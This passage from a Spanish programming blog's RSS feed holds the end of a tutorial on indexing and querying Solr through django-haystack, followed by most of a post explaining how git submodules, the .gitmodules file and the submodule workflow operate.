style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;directorio_de_la_instancia&amp;gt;&lt;/span&gt;/conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto evitará un error por la falta de campos para manejo de divisas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;generar-un-indice-en-solr&#34;&gt;Generar un índice en solr&lt;/h3&gt;&#xA;&lt;p&gt;Antes de continuar, necesitamos recargar nuestro núcleo en el panel de administrador de Solr para que reconozca los cambios que efectuamos en la configuración.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-reload-button.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-reload-button.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Recargar núcleo en solr&#34; width=&#34;975&#34; height=&#34;584&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ahora ha llegado el momento de generar un índice con el comando &lt;em&gt;rebuild_index&lt;/em&gt; que nos provee &lt;em&gt;django-haystack&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py rebuild_index&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARNING: This will irreparably remove EVERYTHING from your search index in connection &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Your choices after this are to restore from backups or rebuild via the &lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;rebuild_index&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt; command.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Are you sure you wish to &lt;span style=&#34;color:#ff6ac1&#34;&gt;continue&lt;/span&gt;? &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;y/N&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si todo salió bien tendremos todo nuestro queryset indexado y podremos llevar a cabo una query en la sección query de nuestro núcleo, en el panel de administración.&lt;/p&gt;&#xA;&lt;p&gt;La query devolverá todos los resultados en formato JSON si no especificamos nada.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-query-index.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-query-index.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Recargar núcleo en solr&#34; width=&#34;1115&#34; height=&#34;964&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Nota como el campo text se llena con el contenido de nuestra plantilla de django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;busqueda-de-texto-con-haystack-y-solr-en-django&#34;&gt;Búsqueda de texto con haystack y solr en Django&lt;/h2&gt;&#xA;&lt;p&gt;Con el índice formado y solr ejecutándose, podemos realizar querys o consultas directamente a solr usando haystack y código en Python, ya sea para devolverlas en formato JSON o para  generar HTML con el sistema de plantillas nativo de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; haystack.query &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchQuerySet&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;vista&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;models(Videogame)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(content&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;query text&amp;gt;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;load_all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con lo anterior doy por terminada la entrada, probablemente en la siguiente entrada hable un poco más de las funciones de búsqueda avanzada que ofrece django haystack.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Anteriormente te expliqué como implementar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/full-text-search-y-busquedas-con-django-y-postgres/&#34;&gt;full text search en Django&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;trigramas y search rank&lt;/a&gt;&#xA; usando Postgres. Solr viene a ofrecernos algo mejor, un motor de búsquedas robusto, estable y con muchas funciones avanzadas, listo para usarse, a cambio de un poco más de complejidad, más dependencias y tener que incluir Java (sí, Java) en nuestro projecto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-funciona-solr&#34;&gt;¿Cómo funciona Solr?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Git Submodules Funcionamiento Y Flujo de Trabajo</title>
      <link>https://coffeebytes.dev/es/git/entiende-como-funciona-git-submodules-y-su-flujo-de-trabajo/</link>
      <pubDate>Wed, 18 May 2022 18:14:41 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/git/entiende-como-funciona-git-submodules-y-su-flujo-de-trabajo/</guid>
      
      <category>git</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los git submodules o submódulos son un registro dentro de un repositorio de git que apunta a un commit en un repositorio externo. Se manejan exactamente igual que harías con un repositorio, incluso tienen un archivo &lt;em&gt;.git&lt;/em&gt; que apunta a la ubicación en la que se lleva un registro de los cambios.&lt;/p&gt;&#xA;&lt;h2 id=&#34;para-que-sirven-los-git-submodules&#34;&gt;¿Para qué sirven los git submodules?&lt;/h2&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/images/git-submodulo-esquema-basico.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/images/git-submodulo-esquema-basico.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema simplificado de git submodules&#34; width=&#34;1200&#34; height=&#34;900&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Esquema simplificado de git submodules&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Los submodules de git son útiles cuando queremos incorporar código de terceros a un proyecto y al mismo tiempo queremos llevar un control estricto de las actualizaciones de ese código por medio de git. Por ejemplo:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Un repositorio compartido para un tema o estilos (Como en el SSG, Hugo).&lt;/li&gt;&#xA;&lt;li&gt;Una librería de terceros.&lt;/li&gt;&#xA;&lt;li&gt;Un repositorio que quieres usar para crear un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;Dockerfile en Docker&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Por otro lado, &lt;strong&gt;usar git submodules complica bastante el manejo de repositorios si no se tiene cuidado o si se trabaja con muchos submódulos&lt;/strong&gt;, tienes que prestar atención al contexto en el que te encuentras y recordar todo el tiempo el repositorio en el que te encuentras.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;agregar-un-git-submodule-a-un-repositorio-de-git&#34;&gt;Agregar un git submodule a un repositorio de git&lt;/h2&gt;&#xA;&lt;p&gt;Para empezar a utilizar un submódulo en un repositorio existente (nuestro repositorio principal) usamos el comando &lt;em&gt;git submodule add&lt;/em&gt;, colocando primero la url del submódulo y posteriormente la carpeta donde queremos que se localice el submódulo.&lt;/p&gt;&#xA;&lt;p&gt;Si el directorio no existe se creará.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git submodule add &amp;lt;url&amp;gt; &amp;lt;destino&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El comando anterior copiará el código de la url &lt;code&gt;&amp;lt;url&amp;gt;&lt;/code&gt; en el directorio &lt;code&gt;&amp;lt;destino&amp;gt;&lt;/code&gt; especificado.&lt;/p&gt;&#xA;&lt;h3 id=&#34;estructura-de-un-git-submodule&#34;&gt;Estructura de un git submodule&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Tras añadir un submódulo a un repositorio se creará un nuevo archivo (no un directorio) llamado &lt;em&gt;.git&lt;/em&gt; dentro de la carpeta del submódulo de nuestro repositorio.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── .gitignore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── .gitmodules&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── &amp;lt;destino&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── .git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── .gitignore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   ├── files.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dependiendo del repositorio que elijas como un submódulo, también podrás ver su propio archivo &lt;em&gt;.gitignore&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-archivo-gitmodules&#34;&gt;El archivo .gitmodules&lt;/h3&gt;&#xA;&lt;p&gt;Además de copiar el código del repositorio remoto en la carpeta destino, git creará un archivo &lt;em&gt;.gitmodules&lt;/em&gt; en la raiz de nuestro repositorio principal. Este archivo guarda las referencias a el o los submódulos de nuestro repositorio.&lt;/p&gt;&#xA;&lt;p&gt;Cada uno de estos submódulos especifica su ruta, relativa a la raiz del repositorio, la url y la rama (opcional)&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;submodule &amp;lt;destino&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;path&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &amp;lt;destino&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &amp;lt;url-del-repositorio&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;branch&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &amp;lt;rama&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este archivo es importante pues es una referencia a los submódulos que necesita nuestro proyecto para funcionar.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/images/funcionamiento-git-submodules.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/images/funcionamiento-git-submodules.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema funcionamiento de git submodules&#34; width=&#34;1200&#34; height=&#34;900&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Esquema del funcionamiento de git submodules&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;el-contenido-del-archivo-git-en-un-submodule&#34;&gt;El contenido del archivo .git en un submodule&lt;/h3&gt;&#xA;&lt;p&gt;¿Qué contiene el submódulo? Si entras en cualquier submódulo, verás que tiene un archivo llamado &lt;em&gt;.git&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; &amp;lt;destino&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.rw-r--r--   &lt;span style=&#34;color:#ff9f43&#34;&gt;31&lt;/span&gt; usuario &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; may 09:49 .git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si revisas el contenido de este archivo con el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comando cat&lt;/a&gt;&#xA;, verás que es una ruta que apunta a la carpeta &lt;em&gt;.git/modules&lt;/em&gt; de nuestro repositirio principal. Es de esta manera que git puede llevar un seguimiento de los submodulos directamente en el repositorio principal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat .git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gitdir: ../.git/modules/&amp;lt;submodule&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Y que hay en esa ubicación? En esa ubicación se encuentran los archivos con los que git maneja un repositorio internamente, guardan la misma estructura que los que están dentro de la carpeta &lt;em&gt;.git&lt;/em&gt; de tu repositorio principal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;git-trata-a-los-git-submodules-como-repositorios-individuales&#34;&gt;Git trata a los git submodules como repositorios individuales&lt;/h3&gt;&#xA;&lt;p&gt;Un submodulo se maneja exactamente igual que un repositorio normal.&lt;/p&gt;&#xA;&lt;p&gt;Si ejecutas el comando &lt;em&gt;git status&lt;/em&gt; dentro de un submódulo, verás que estamos dentro de un repositorio diferente al prinicipal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git status&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;En la rama master&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Tu rama está actualizada con &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;origin/master&amp;#39;&lt;/span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dentro del submódulo puedes realizar checkouts, crear ramas, inclusive realizar commits y push. Todos estos cambios se harán en el repositorio del submódulo, no en el principal.&lt;/p&gt;&#xA;&lt;p&gt;Git trata a cada submódulo como si fuera un repositorio separado, por lo que &lt;strong&gt;cada versión de tu repositorio principal se corresponde con una versión del submódulo&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/images/git-submodules-correspondencia.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/images/git-submodules-correspondencia.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Git submodules correspondencia&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;flujo-de-trabajo-con-git-submodules&#34;&gt;Flujo de trabajo con git submodules&lt;/h2&gt;&#xA;&lt;p&gt;Cada vez que realices un cambio &lt;strong&gt;dentro de tu submódulo debes hacer un push de los cambios y, posteriormente, actualizar la referencia del repositorio principal hacia los submódulos.&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;¿Qué pasa si no lo haces? Pues aquí es donde comienza la pesadilla de toda la gente que detesta a los submódulos, tú vas a estar trabajando en la versión más reciente del submódulo, mientras que tus compañeros estarán trabajando en la versión antigua.&lt;/p&gt;&#xA;&lt;h3 id=&#34;pasos-para-guardar-cambios-en-un-submodule&#34;&gt;Pasos para guardar cambios en un submodule&lt;/h3&gt;&#xA;&lt;p&gt;Para guardar los cambios en un git submodule necesitamos seguir estos tres pasos&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Guardar los cambios (commit) y hacer push en tu submódulo.&lt;/li&gt;&#xA;&lt;li&gt;Regresar a tu repositorio principal.&lt;/li&gt;&#xA;&lt;li&gt;Guardar los cambios (commit) y hacer push en tu repositorio principal.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 